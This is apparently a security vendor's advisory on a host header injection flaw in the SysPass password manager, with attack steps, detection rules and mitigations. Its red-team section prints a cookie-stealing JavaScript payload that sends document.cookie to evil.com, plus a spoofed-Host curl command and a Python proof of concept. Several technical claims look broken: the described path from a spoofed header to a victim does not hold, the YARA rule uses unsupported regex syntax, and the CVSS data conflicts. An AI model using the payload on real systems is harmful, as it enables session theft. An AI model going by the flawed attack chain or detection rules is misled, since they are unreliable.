CVE-2025-25477

Executive Summary

CVE-2025-25477 is a host header injection vulnerability affecting SysPass 3.2.x. An attacker can manipulate the Host header in HTTP requests to inject malicious JavaScript from an arbitrary domain, leading to stored or reflected cross-site scripting (XSS) attacks. This can result in session hijacking, credential theft, or further compromise of the SysPass instance. No official patch has been released, and the CVSS score is currently unassigned. The vulnerability is publicly known, with proof-of-concept details available.

Supply Chain & Package Security

SysPass is a PHP-based password manager. The vulnerability lies in the application’s handling of the Host header, which is used to generate dynamic links or load resources. Since SysPass is not distributed via NPM, PyPI, Go, or Ruby, supply chain risks are limited to direct exploitation of the web application.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to user interaction requirement but potential for session hijacking)

Deep Dive & Mechanics

The vulnerability exists because SysPass uses the Host header from incoming HTTP requests to construct URLs for resources (e.g., JavaScript files, CSS, or API endpoints). By sending a request with a malicious Host header (e.g., Host: attacker.com), the application will generate links pointing to the attacker’s domain. If an administrator or user visits a page that loads these resources, the attacker’s JavaScript will execute in the context of the SysPass application.

Attack Flow:

1. Attacker crafts a request to SysPass with a modified Host header (e.g., Host: evil.com).
2. SysPass processes the request and generates a page that includes a script tag with src="http://evil.com/malicious.js".
3. The victim’s browser loads the page and executes the attacker’s JavaScript.
4. The malicious script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Root Cause: The application does not validate or sanitize the Host header before using it in resource URLs.

Vulnerable vs. Patched Code

Vulnerable Code (SysPass 3.2.x):

// Example of vulnerable code
$host = $_SERVER['HTTP_HOST'];
$scriptUrl = "http://" . $host . "/js/app.js";
echo "<script src='$scriptUrl'></script>";

Patched Code (Hypothetical):

// Patched code with host validation
$allowedHosts = ['syspass.example.com', 'localhost'];
$host = $_SERVER['HTTP_HOST'];
if (!in_array($host, $allowedHosts)) {
    $host = 'syspass.example.com'; // fallback to default
}
$scriptUrl = "http://" . $host . "/js/app.js";
echo "<script src='$scriptUrl'></script>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A SysPass 3.2.x instance (e.g., Docker container)
• A domain or server to host malicious JavaScript (e.g., evil.com)
• Burp Suite or curl for crafting requests

Steps:

1. Set up a malicious JavaScript file at http://evil.com/malicious.js:

   // malicious.js
   document.location='http://evil.com/steal?cookie='+document.cookie;
   

2. Send a crafted request to SysPass:

   curl -H "Host: evil.com" http://target-syspass/login
   

3. The response will contain a script tag pointing to evil.com/malicious.js.
4. Send the crafted URL to a victim (e.g., via phishing email). When the victim visits the page, the malicious script executes.

Proof-of-Concept (Python):

import requests

target = "http://target-syspass/login"
malicious_host = "evil.com"
response = requests.get(target, headers={"Host": malicious_host})
print(response.text)  # Look for injected script tags

Blue Team

Detection:

• Monitor HTTP requests for unusual Host headers (e.g., unexpected domains).
• Check server logs for Host header values that do not match the legitimate domain.
• Use WAF rules to block requests with Host headers not in an allowlist.

Mitigation:

• Implement strict validation of the Host header against a whitelist of allowed domains.
• Use a reverse proxy (e.g., Nginx) to rewrite or validate the Host header before it reaches the application.
• Apply a virtual patch via WAF to block malicious Host headers.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with Host headers pointing to external, untrusted domains.
  • Outbound connections to domains hosting malicious JavaScript (e.g., evil.com).
• Logs:
  • Server access logs showing Host header values like evil.com or attacker-controlled.com.
  • Application logs indicating failed host validation (if logging is enabled).
• File System:
  • No specific file IOCs; the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2025_25477_Host_Header_Injection {
    meta:
        description = "Detects host header injection attempts targeting SysPass"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25477"
    strings:
        $host_header = /Host:\s*(?!syspass\.example\.com|localhost)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/ nocase
    condition:
        $host_header
}

Sigma Rule

title: SysPass Host Header Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with suspicious Host headers targeting SysPass
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-host|re: '^(?!syspass\.example\.com|localhost).*$'
    condition: selection
falsepositives:
    - Legitimate multi-domain setups
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25477 SysPass Host Header Injection"; flow:to_server; content:"Host|3a|"; pcre:"/Host:\s*(?!syspass\.example\.com|localhost)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests with Host headers not matching the legitimate domain.
2. Reverse Proxy: Configure Nginx or Apache to validate the Host header and reject invalid ones.
3. Code Fix: Update the application to use a whitelist of allowed hosts or use a relative path for resources (e.g., /js/app.js instead of http://host/js/app.js).

Long-Term:

• Monitor the SysPass project for an official patch.
• Consider migrating to a maintained fork or alternative password manager if no patch is released.
• Implement Content Security Policy (CSP) headers to restrict script sources.

Nginx Virtual Patch Example:

server {
    listen 80;
    server_name syspass.example.com;
    if ($host !~ ^(syspass\.example\.com|localhost)$) {
        return 403;
    }
    # ... rest of config
}

Valters IT
Securing Digital Frontiers